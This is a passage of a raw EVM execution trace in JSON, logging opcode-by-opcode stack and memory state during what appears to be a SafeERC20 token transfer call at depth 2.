,"op":"PUSH4","gas":65297,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x1c72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7136,"op":"AND","gas":65294,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x1c72","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7137,"op":"JUMP","gas":65291,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x1c72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7282,"op":"JUMPDEST","gas":65283,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7283,"op":"PUSH1","gas":65282,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7285,"op":"PUSH2","gas":65279,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7288,"op":"DUP5","gas":65276,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7289,"op":"DUP5","gas":65273,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7290,"op":"PUSH1","gas":65270,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7292,"op":"DUP6","gas":65267,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7293,"op":"PUSH2","gas":65264,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7296,"op":"JUMP","gas":65261,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x1c89"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7305,"op":"JUMPDEST","gas":65253,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7306,"op":"PUSH1","gas":65252,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7308,"op":"DUP3","gas":65249,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7309,"op":"SELFBALANCE","gas":65246,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7310,"op":"LT","gas":65241,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7311,"op":"ISZERO","gas":65238,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7312,"op":"PUSH2","gas":65235,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7315,"op":"JUMPI","gas":65232,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x1d01"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7425,"op":"JUMPDEST","gas":65222,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7426,"op":"PUSH1","gas":65221,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7428,"op":"PUSH1","gas":65218,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0